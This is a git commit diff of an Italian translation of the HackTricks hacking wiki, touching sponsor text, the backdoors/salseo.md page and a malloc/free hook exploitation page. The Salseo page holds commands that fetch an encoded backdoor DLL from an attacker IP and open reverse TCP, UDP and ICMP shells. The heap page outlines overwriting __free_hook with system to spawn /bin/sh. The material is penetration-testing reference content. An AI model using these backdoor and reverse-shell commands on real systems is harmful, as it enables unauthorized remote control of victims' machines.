Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb

This commit is contained in:
Translator 2024-07-18 17:35:13 +00:00
parent 37bf9a529b
commit 8bf08c51a7
112 changed files with 3439 additions and 3059 deletions

BIN
.gitbook/assets/arte.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 756 KiB

BIN
.gitbook/assets/grte.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 879 KiB

View file

@ -1,4 +1,4 @@
# HackTricks # Trucchi di Hacking
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
@ -20,7 +20,7 @@ Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovre
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono la propria ricerca e sviluppano i propri strumenti di hacking per **offrire diversi servizi di cybersecurity** come pentesting, Red team e formazione. [**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono ricerche proprie e sviluppano i propri strumenti di hacking per **offrire diversi servizi di cybersecurity** come pentesting, Red teams e formazione.
Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blog.stmcyber.com) Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
@ -44,7 +44,7 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
**Intigriti** è la piattaforma di ethical hacking **numero 1 in Europa** e di **bug bounty**. **Intigriti** è la piattaforma di ethical hacking **numero 1 in Europa** e di **bug bounty**.
**Consiglio bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium di **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare taglie fino a **$100,000**! **Consiglio per il bug bounty**: **iscriviti** a **Intigriti**, una piattaforma di **bug bounty premium creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare taglie fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -55,7 +55,7 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo. Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
@ -71,9 +71,9 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
* **Approfondimenti sull'hacking:** Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking * **Approfondimenti sull'hacking:** Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking
* **Notizie sull'hacking in tempo reale:** Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale * **Notizie sull'hacking in tempo reale:** Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
* **Ultimi annunci:** Resta informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma * **Ultimi Annunci:** Resta informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
*** ***
@ -94,7 +94,7 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
SerpApi offre API in tempo reale veloci e facili per **accedere ai risultati dei motori di ricerca**. Raschiano i motori di ricerca, gestiscono proxy, risolvono captcha e analizzano tutti i dati strutturati ricchi per te. SerpApi offre API in tempo reale veloci e facili per **accedere ai risultati dei motori di ricerca**. Raschiano i motori di ricerca, gestiscono proxy, risolvono captcha e analizzano tutti i dati strutturati ricchi per te.
Una sottoscrizione a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per raschiare diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\ Una sottoscrizione a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per raschiare diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\
A differenza di altri fornitori, **SerpApi non si limita a raschiare solo i risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video inline, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca. A differenza di altri fornitori, **SerpApi non si limita a raschiare i risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video inline, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
Attuali clienti di SerpApi includono **Apple, Shopify e GrubHub**.\ Attuali clienti di SerpApi includono **Apple, Shopify e GrubHub**.\
Per ulteriori informazioni, controlla il loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\ Per ulteriori informazioni, controlla il loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
@ -114,11 +114,11 @@ Puoi **creare un account gratuito** [**qui**](https://serpapi.com/users/sign\_up
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) è una società di cybersecurity professionale con sede ad **Amsterdam** che aiuta a **proteggere** le imprese **di tutto il mondo** contro le ultime minacce di cybersecurity fornendo servizi di **offensive-security** con un **approccio moderno**. [**WebSec**](https://websec.nl) è una società di cybersecurity professionale con sede ad **Amsterdam** che aiuta a **proteggere** le imprese **di tutto il mondo** contro le ultime minacce di cybersecurity fornendo servizi di **sicurezza offensiva** con un **approccio moderno**.
WebSec è una società di sicurezza **all-in-one**, il che significa che fanno tutto; Pentesting, **Audits di Sicurezza, Formazioni sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro ancora. WebSec è una **società di sicurezza all-in-one** che significa che fanno tutto; Pentesting, **Auditing di Sicurezza**, Formazioni sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro.
Un'altra cosa interessante su WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, tanto da **garantire i migliori risultati di qualità**, si legge sul loro sito web "**Se non possiamo hackerarlo, non lo paghi!**". Per ulteriori informazioni dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e al [**blog**](https://websec.nl/blog/)! Un'altra cosa interessante su WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, al punto che **garantisce i migliori risultati di qualità**, si legge sul loro sito web "**Se non possiamo hackerarlo, non lo paghi!**". Per ulteriori informazioni dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
Oltre a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.** Oltre a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.**
@ -145,19 +145,20 @@ Controllali su:
## Statistiche di Github ## Statistiche di Github
![Statistiche di Github di HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Immagine di analisi di Repobeats") ![Statistiche di Github di HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Immagine analitica di Repobeats")
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -279,7 +279,7 @@
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) * [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) * [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
* [WinRM](windows-hardening/lateral-movement/winrm.md) * [WinRM](windows-hardening/lateral-movement/winrm.md)
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md) * [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements) * [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md) * [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) * [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)

View file

@ -1,28 +1,29 @@
# Salseo # Salseo
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}
## Compilare i binari ## Compilazione dei binari
Scarica il codice sorgente da github e compila **EvilSalsa** e **SalseoLoader**. Avrai bisogno di **Visual Studio** installato per compilare il codice. Scarica il codice sorgente da GitHub e compila **EvilSalsa** e **SalseoLoader**. Avrai bisogno di **Visual Studio** installato per compilare il codice.
Compila quei progetti per l'architettura della macchina Windows dove li utilizzerai (Se Windows supporta x64, compilali per quell'architettura). Compila quei progetti per l'architettura della macchina Windows dove li utilizzerai (se Windows supporta x64, compilali per quell'architettura).
Puoi **selezionare l'architettura** all'interno di Visual Studio nella **scheda "Build"** a sinistra in **"Platform Target".** Puoi **selezionare l'architettura** all'interno di Visual Studio nella scheda **"Build"** a sinistra in **"Platform Target".**
(\*\*Se non trovi queste opzioni premi su **"Project Tab"** e poi su **"\<Project Name> Properties"**) (\*\*Se non riesci a trovare queste opzioni premi su **"Project Tab"** e poi su **"\<Project Name> Properties"**)
![](<../.gitbook/assets/image (132).png>) ![](<../.gitbook/assets/image (132).png>)
@ -30,9 +31,9 @@ Quindi, compila entrambi i progetti (Build -> Build Solution) (All'interno dei l
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## Preparare il Backdoor ## Prepara il Backdoor
Prima di tutto, dovrai codificare il **EvilSalsa.dll.** Per farlo, puoi utilizzare lo script python **encrypterassembly.py** o puoi compilare il progetto **EncrypterAssembly**: Innanzitutto, dovrai codificare il **EvilSalsa.dll.** Per farlo, puoi utilizzare lo script python **encrypterassembly.py** o puoi compilare il progetto **EncrypterAssembly**:
### **Python** ### **Python**
``` ```
@ -50,19 +51,19 @@ Ora hai tutto il necessario per eseguire tutto il Salseo: il **EvilDalsa.dll cod
## **Esegui il backdoor** ## **Esegui il backdoor**
### **Ottenere una shell TCP inversa (scaricando la dll codificata tramite HTTP)** ### **Ottenere una shell TCP inversa (scaricando il dll codificato tramite HTTP)**
Ricorda di avviare un nc come listener per la shell inversa e un server HTTP per servire il evilsalsa codificato. Ricorda di avviare un nc come listener della shell inversa e un server HTTP per servire il malevolo evilsalsa.
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **Ottenere una shell inversa UDP (scaricando dll codificata tramite SMB)** ### **Ottenere una shell inversa UDP (scaricando dll codificata tramite SMB)**
Ricorda di avviare un nc come listener della shell inversa e un server SMB per servire la evilsalsa codificata (impacket-smbserver). Ricorda di avviare un nc come listener della shell inversa e un server SMB per servire l'evilsalsa codificata (impacket-smbserver).
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **Ottenere una shell inversa ICMP (dll codificata già all'interno della vittima)** ### **Ottenere una shell inversa ICMP (dll già codificata all'interno della vittima)**
**Questa volta è necessario uno strumento speciale nel client per ricevere la shell inversa. Scarica:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) **Questa volta è necessario uno strumento speciale nel client per ricevere la shell inversa. Scarica:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
@ -95,7 +96,7 @@ Apri il progetto SalseoLoader usando Visual Studio.
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Cerca il pacchetto DllExport (usando la scheda Sfoglia) e premi Installa (e accetta il popup)** #### **Cerca il pacchetto DllExport (usando la scheda Sfoglia), e premi Installa (e accetta il popup)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
@ -111,13 +112,13 @@ Premi **Disinstalla** (sì, è strano ma fidati, è necessario)
Semplicemente **esci** da Visual Studio Semplicemente **esci** da Visual Studio
Poi, vai nella tua cartella **SalseoLoader** ed **esegui DllExport\_Configure.bat** Poi, vai nella tua **cartella SalseoLoader** ed **esegui DllExport\_Configure.bat**
Seleziona **x64** (se lo utilizzerai all'interno di una casella x64, come nel mio caso), seleziona **System.Runtime.InteropServices** (all'interno di **Namespace per DllExport**) e premi **Applica** Seleziona **x64** (se lo utilizzerai all'interno di una casella x64, come nel mio caso), seleziona **System.Runtime.InteropServices** (all'interno di **Namespace per DllExport**) e premi **Applica**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
### **Apri di nuovo il progetto con Visual Studio** ### **Apri nuovamente il progetto con Visual Studio**
**\[DllExport]** non dovrebbe più essere segnato come errore **\[DllExport]** non dovrebbe più essere segnato come errore
@ -147,7 +148,7 @@ Se non appare alcun errore, probabilmente hai una DLL funzionale!!
## Ottenere una shell utilizzando la DLL ## Ottenere una shell utilizzando la DLL
Non dimenticare di utilizzare un **server HTTP** e impostare un **listener nc** Non dimenticare di utilizzare un **server** **HTTP** e impostare un **listener nc**
### Powershell ### Powershell
``` ```
@ -160,7 +161,7 @@ rundll32.exe SalseoLoader.dll,main
``` ```
### CMD ### CMD
### CMD Il prompt dei comandi (Command Prompt) è un'interfaccia testuale che consente agli utenti di interagire con il sistema operativo utilizzando comandi testuali.
``` ```
set pass=password set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -169,16 +170,17 @@ set lport=1337
set shell=reversetcp set shell=reversetcp
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook # WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
{% hint style="success" %}
Impara & pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara & pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **Malloc Hook** ## **Malloc Hook**
Come puoi vedere sul [sito ufficiale di GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()` **memorizzato nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget** ad esempio e viene chiamato `malloc`, verrà chiamato il **One Gadget**. Come puoi vedere sul [sito ufficiale di GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), la variabile **`__malloc_hook`** è un puntatore che punta all'**indirizzo di una funzione che verrà chiamata** ogni volta che viene chiamato `malloc()` **memorizzata nella sezione dati della libreria libc**. Pertanto, se questo indirizzo viene sovrascritto con un **One Gadget** ad esempio e viene chiamato `malloc`, verrà chiamato il **One Gadget**.
Per chiamare malloc è possibile aspettare che il programma lo chiami o chiamando `printf("%10000$c")` che alloca troppe byte facendo sì che `libc` chiami malloc per allocarli nell'heap. Per chiamare malloc è possibile aspettare che il programma lo chiami o chiamando `printf("%10000$c")` che alloca troppe byte facendo sì che `libc` chiami malloc per allocarli nell'heap.
@ -32,7 +33,7 @@ Nota che i hooks sono **disabilitati per GLIBC >= 2.34**. Ci sono altre tecniche
## Free Hook ## Free Hook
Questo è stato abusato in uno degli esempi della pagina sfruttando un attacco fast bin dopo aver abusato un attacco unsorted bin: Questo è stato abusato in uno degli esempi dalla pagina sfruttando un attacco fast bin dopo aver abusato un attacco unsorted bin:
{% content-ref url="../libc-heap/unsorted-bin-attack.md" %} {% content-ref url="../libc-heap/unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md) [unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md)
@ -71,8 +72,8 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
</code></pre> </code></pre>
* Se riusciamo a ottenere un chunk fast di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore di funzione che verrà eseguito * Se riusciamo a ottenere un chunk fast di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore di funzione che verrà eseguito
* Per fare ciò, viene creato un nuovo chunk di dimensione `0xfc` e la funzione merge viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin. * Per fare ciò, viene creato un nuovo chunk di dimensione `0xfc` e la funzione merge viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin.
* Successivamente, la funzione edit viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin in modo che punti alla funzione precedente **`__free_hook`**. * Successivamente, viene chiamata la funzione edit in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin in modo che punti alla funzione precedente **`__free_hook`**.
* Quindi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il chunk inutile precedente, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un chunk fast bin nel **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**. * Successivamente, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il chunk inutile precedente, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un chunk fast bin nel **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
* Infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione delete, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro. * Infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione delete, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
## Riferimenti ## Riferimenti
@ -80,16 +81,17 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). * [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
